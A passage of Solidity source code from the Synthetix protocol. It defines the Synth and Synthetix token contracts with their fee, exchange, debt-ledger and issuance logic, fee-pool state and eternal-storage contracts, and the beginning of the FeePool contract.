if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
contract IFeePool {
address public FEE_ADDRESS;
function amountReceivedFromExchange(uint value) external view returns (uint);
function amountReceivedFromTransfer(uint value) external view returns (uint);
function feePaid(bytes4 currencyKey, uint amount) external;
function appendAccountIssuanceRecord(address account, uint lockedAmount, uint debtEntryIndex) external;
function rewardsMinted(uint amount) external;
function transferFeeIncurred(uint value) public view returns (uint);
}
contract Synth is ExternStateToken {
IFeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(IFeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function setTotalSupply(uint amount)
external
optionalProxy_onlyOwner
{
totalSupply = amount;
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
interface ISynthetixEscrow {
function balanceOf(address account) public view returns (uint);
function appendVestingEntry(address account, uint quantity) public;
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
IFeePool public feePool;
ISynthetixEscrow public escrow;
ISynthetixEscrow public rewardEscrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
SupplySchedule public supplySchedule;
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule,
ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow, uint _totalSupply
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
supplySchedule = _supplySchedule;
rewardEscrow = _rewardEscrow;
escrow = _escrow;
}
function setFeePool(IFeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale");
for (uint8 i = 0; i < availableSynths.length; i++) {
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableCurrencyKeys()
internal
view
returns (bytes4[])
{
bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length);
for (uint8 i = 0; i < availableSynths.length; i++) {
availableCurrencyKeys[i] = availableSynths[i].currencyKey();
}
return availableCurrencyKeys;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
if (sourceAmount == 0) {
return true;
}
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
feePool.feePaid("XDR", xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
_appendAccountIssuanceRecord();
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint debt = debtBalanceOf(messageSender, "XDR");
uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToRemove = debt < debtToRemove ? debt : debtToRemove;
_removeFromDebtRegister(amountToRemove);
uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount;
synths[currencyKey].burn(messageSender, amountToBurn);
_appendAccountIssuanceRecord();
}
function _appendAccountIssuanceRecord()
internal
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender);
feePool.appendAccountIssuanceRecord(
messageSender,
initialDebtOwnership,
debtEntryIndex
);
}
function _removeFromDebtRegister(uint amount)
internal
{
uint debtToRemove = amount;
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint delta;
if (newTotalDebtIssued > 0) {
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued);
delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
} else {
delta = 0;
}
if (debtToRemove == existingDebt) {
synthetixState.setCurrentIssuanceData(messageSender, 0);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
if (rewardEscrow != address(0)) {
balance = balance.add(rewardEscrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
function mint()
external
returns (bool)
{
require(rewardEscrow != address(0), "Reward Escrow destination missing");
uint supplyToMint = supplySchedule.mintableSupply();
require(supplyToMint > 0, "No supply is mintable");
supplySchedule.updateMintValues();
uint minterReward = supplySchedule.minterReward();
tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward)));
emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward));
feePool.rewardsMinted(supplyToMint.sub(minterReward));
tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward));
emitTransfer(this, msg.sender, minterReward);
totalSupply = totalSupply.add(supplyToMint);
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress);
bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)");
function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal {
proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0);
}
}
contract ISynthetixState {
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
uint[] public debtLedger;
uint public issuanceRatio;
mapping(address => IssuanceData) public issuanceData;
function debtLedgerLength() external view returns (uint);
function hasIssued(address account) external view returns (bool);
function incrementTotalIssuerCount() external;
function decrementTotalIssuerCount() external;
function setCurrentIssuanceData(address account, uint initialDebtOwnership) external;
function lastDebtLedgerEntry() external view returns (uint);
function appendDebtLedgerValue(uint value) external;
function clearIssuanceData(address account) external;
}
contract FeePoolState is SelfDestructible, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
uint8 constant public FEE_PERIOD_LENGTH = 6;
address public feePool;
struct IssuanceData {
uint debtPercentage;
uint debtEntryIndex;
}
mapping(address => IssuanceData[FEE_PERIOD_LENGTH]) public accountIssuanceLedger;
constructor(address _owner, IFeePool _feePool)
SelfDestructible(_owner)
LimitedSetup(6 weeks)
public
{
feePool = _feePool;
}
function setFeePool(IFeePool _feePool)
external
onlyOwner
{
feePool = _feePool;
}
function getAccountsDebtEntry(address account, uint index)
public
view
returns (uint debtPercentage, uint debtEntryIndex)
{
require(index < FEE_PERIOD_LENGTH, "index exceeds the FEE_PERIOD_LENGTH");
debtPercentage = accountIssuanceLedger[account][index].debtPercentage;
debtEntryIndex = accountIssuanceLedger[account][index].debtEntryIndex;
}
function applicableIssuanceData(address account, uint closingDebtIndex)
external
view
returns (uint, uint)
{
IssuanceData[FEE_PERIOD_LENGTH] memory issuanceData = accountIssuanceLedger[account];
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (closingDebtIndex >= issuanceData[i].debtEntryIndex) {
return (issuanceData[i].debtPercentage, issuanceData[i].debtEntryIndex);
}
}
}
function appendAccountIssuanceRecord(address account, uint debtRatio, uint debtEntryIndex, uint currentPeriodStartDebtIndex)
external
onlyFeePool
{
if (accountIssuanceLedger[account][0].debtEntryIndex < currentPeriodStartDebtIndex) {
issuanceDataIndexOrder(account);
}
accountIssuanceLedger[account][0].debtPercentage = debtRatio;
accountIssuanceLedger[account][0].debtEntryIndex = debtEntryIndex;
}
function issuanceDataIndexOrder(address account)
private
{
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
accountIssuanceLedger[account][next].debtPercentage = accountIssuanceLedger[account][i].debtPercentage;
accountIssuanceLedger[account][next].debtEntryIndex = accountIssuanceLedger[account][i].debtEntryIndex;
}
}
function importIssuerData(address[] accounts, uint[] ratios, uint periodToInsert, uint feePeriodCloseIndex)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == ratios.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
accountIssuanceLedger[accounts[i]][periodToInsert].debtPercentage = ratios[i];
accountIssuanceLedger[accounts[i]][periodToInsert].debtEntryIndex = feePeriodCloseIndex;
emit IssuanceDebtRatioEntry(accounts[i], ratios[i], feePeriodCloseIndex);
}
}
modifier onlyFeePool
{
require(msg.sender == address(feePool), "Only the FeePool contract can perform this action");
_;
}
event IssuanceDebtRatioEntry(address indexed account, uint debtRatio, uint feePeriodCloseIndex);
}
contract EternalStorage is State {
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{
}
mapping(bytes32 => uint) UIntStorage;
mapping(bytes32 => string) StringStorage;
mapping(bytes32 => address) AddressStorage;
mapping(bytes32 => bytes) BytesStorage;
mapping(bytes32 => bytes32) Bytes32Storage;
mapping(bytes32 => bool) BooleanStorage;
mapping(bytes32 => int) IntStorage;
function getUIntValue(bytes32 record) external view returns (uint){
return UIntStorage[record];
}
function setUIntValue(bytes32 record, uint value) external
onlyAssociatedContract
{
UIntStorage[record] = value;
}
function deleteUIntValue(bytes32 record) external
onlyAssociatedContract
{
delete UIntStorage[record];
}
function getStringValue(bytes32 record) external view returns (string memory){
return StringStorage[record];
}
function setStringValue(bytes32 record, string value) external
onlyAssociatedContract
{
StringStorage[record] = value;
}
function deleteStringValue(bytes32 record) external
onlyAssociatedContract
{
delete StringStorage[record];
}
function getAddressValue(bytes32 record) external view returns (address){
return AddressStorage[record];
}
function setAddressValue(bytes32 record, address value) external
onlyAssociatedContract
{
AddressStorage[record] = value;
}
function deleteAddressValue(bytes32 record) external
onlyAssociatedContract
{
delete AddressStorage[record];
}
function getBytesValue(bytes32 record) external view returns
(bytes memory){
return BytesStorage[record];
}
function setBytesValue(bytes32 record, bytes value) external
onlyAssociatedContract
{
BytesStorage[record] = value;
}
function deleteBytesValue(bytes32 record) external
onlyAssociatedContract
{
delete BytesStorage[record];
}
function getBytes32Value(bytes32 record) external view returns (bytes32)
{
return Bytes32Storage[record];
}
function setBytes32Value(bytes32 record, bytes32 value) external
onlyAssociatedContract
{
Bytes32Storage[record] = value;
}
function deleteBytes32Value(bytes32 record) external
onlyAssociatedContract
{
delete Bytes32Storage[record];
}
function getBooleanValue(bytes32 record) external view returns (bool)
{
return BooleanStorage[record];
}
function setBooleanValue(bytes32 record, bool value) external
onlyAssociatedContract
{
BooleanStorage[record] = value;
}
function deleteBooleanValue(bytes32 record) external
onlyAssociatedContract
{
delete BooleanStorage[record];
}
function getIntValue(bytes32 record) external view returns (int){
return IntStorage[record];
}
function setIntValue(bytes32 record, int value) external
onlyAssociatedContract
{
IntStorage[record] = value;
}
function deleteIntValue(bytes32 record) external
onlyAssociatedContract
{
delete IntStorage[record];
}
}
contract FeePoolEternalStorage is EternalStorage, LimitedSetup {
bytes32 constant LAST_FEE_WITHDRAWAL = "last_fee_withdrawal";
constructor(address _owner, address _feePool)
EternalStorage(_owner, _feePool)
LimitedSetup(6 weeks)
public
{
}
function importFeeWithdrawalData(address[] accounts, uint[] feePeriodIDs)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == feePeriodIDs.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
this.setUIntValue(keccak256(abi.encodePacked(LAST_FEE_WITHDRAWAL, accounts[i])), feePeriodIDs[i]);
}
}
}
contract DelegateApprovals is State {
mapping(address => mapping(address => bool)) public approval;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setApproval(address authoriser, address delegate)
external
onlyAssociatedContract
{
approval[authoriser][delegate] = true;
emit Approval(authoriser, delegate);
}
function withdrawApproval(address authoriser, address delegate)
external
onlyAssociatedContract
{
delete approval[authoriser][delegate];
emit WithdrawApproval(authoriser, delegate);
}
event Approval(address indexed authoriser, address delegate);
event WithdrawApproval(address indexed authoriser, address delegate);
}
contract FeePool is Proxyable, SelfDestructible, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
Synthetix public synthetix;
ISynthetixState public synthetixState;
ISynthetixEscrow public rewardEscrow;
FeePoolEternalStorage public feePoolEternalStorage;
uint public transferFeeRate;
uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10;
uint public exchangeFeeRate;
uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10;
address public feeAuthority;
FeePoolState public feePoolState;
DelegateApprovals public delegates;
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
struct FeePeriod {
uint feePeriodId;
uint startingDebtIndex;
uint startTime;
uint feesToDistribute;
uint feesClaimed;
uint rewardsToDistribute;
uint rewardsClaimed;
}
uint8 constant public FEE_PERIOD_LENGTH = 3;
FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods;
uint public feePeriodDuration = 1 weeks;
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
uint public TARGET_THRESHOLD = (10 * SafeDecimalMath.unit()) / 100;
bytes32 constant LAST_FEE_WITHDRAWAL = "last_fee_withdrawal";
constructor(
address _proxy,
address _owner,
Synthetix _synthetix,
FeePoolState _feePoolState,
FeePoolEternalStorage _feePoolEternalStorage,
ISynthetixState _synthetixState,
ISynthetixEscrow _rewardEscrow,
address _feeAuthority,
uint _transferFeeRate,
uint _exchangeFeeRate)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
LimitedSetup(3 weeks)
public
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate");
synthetix = _synthetix;
feePoolState = _feePoolState;
feePoolEternalStorage = _feePoolEternalStorage;
rewardEscrow = _rewardEscrow;
synthetixState = _synthetixState;
feeAuthority = _feeAuthority;
transferFeeRate = _transferFeeRate;
exchangeFeeRate = _exchangeFeeRate;
recentFeePeriods[0].feePeriodId = 1;
recentFeePeriods[0].startTime = now;
}
function appendAccountIssuanceRecord(address account, uint debtRatio, uint debtEntryIndex)
external
onlySynthetix
{
feePoolState.appendAccountIssuanceRecord(account, debtRatio, debtEntryIndex, recentFeePeriods[0].startingDebtIndex);
emitIssuanceDebtRatioEntry(account, debtRatio, debtEntryIndex, recentFeePeriods[0].startingDebtIndex);
}
function setExchangeFeeRate(uint _exchangeFeeRate)
external
optionalProxy_onlyOwner
{
exchangeFeeRate = _exchangeFeeRate;
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
}
function setFeeAuthority(address _feeAuthority)
external
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
}
function setFeePoolState(FeePoolState _feePoolState)
external
optionalProxy_onlyOwner
{
feePoolState = _feePoolState;
